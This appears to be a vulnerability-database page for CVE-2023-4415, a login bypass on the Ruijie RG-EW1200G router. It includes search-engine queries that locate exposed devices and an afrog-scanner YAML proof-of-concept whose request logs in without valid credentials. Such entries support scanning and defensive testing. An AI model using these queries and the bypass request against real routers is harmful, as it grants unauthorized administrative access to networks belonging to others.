CVE-2023-4415: 锐捷(ruijie)RG-EW1200G路由器 后台登录绕过

2025-08-01 锐捷ruijie RG-EW1200G PoC Public

Description

Ruijie Networks RG-EW1200G是中国锐捷网络（Ruijie Networks）公司的一款无线路由器。

锐捷网络RG-EW1200G路由器 存在登录绕过逻辑漏洞，允许任何用户无需密码即可获得路由器后台，该漏洞源于文件/api/sys/login存在不当的身份验证。

FOFA: "锐捷" && port="6060"

FOFA: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"

HUNTER：web.body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"

PoC

id: CVE-2023-4415

info:
  name: 锐捷(ruijie)RG-EW1200G路由器 后台登录绕过
  author: Y3y1ng
  severity: high
  verified: true
  description: |
    Ruijie Networks RG-EW1200G是中国锐捷网络（Ruijie Networks）公司的一款无线路由器。
    锐捷网络RG-EW1200G路由器 存在登录绕过逻辑漏洞，允许任何用户无需密码即可获得路由器后台，该漏洞源于文件/api/sys/login存在不当的身份验证。
    FOFA: "锐捷" && port="6060"
    FOFA: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
    HUNTER：web.body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4415
    - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G-logic
  tags: cve,cve2023,ruijie,router
  created: 2023/09/21

rules:
  r0: 
    request:
      method: POST
      path: /api/sys/login
      body: |
        {
        "username":"2",
        "password":"admin",
        "timestamp":1695218596000
        }
      follow_redirects: true
    expression: >-
      response.status == 200 &&
      response.body.bcontains(b'登入成功')&&
      response.body.bcontains(b'ok') &&
      response.body.bcontains(b'gateway')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2023/CVE-2023-4415.yaml

References

Related Vulnerabilities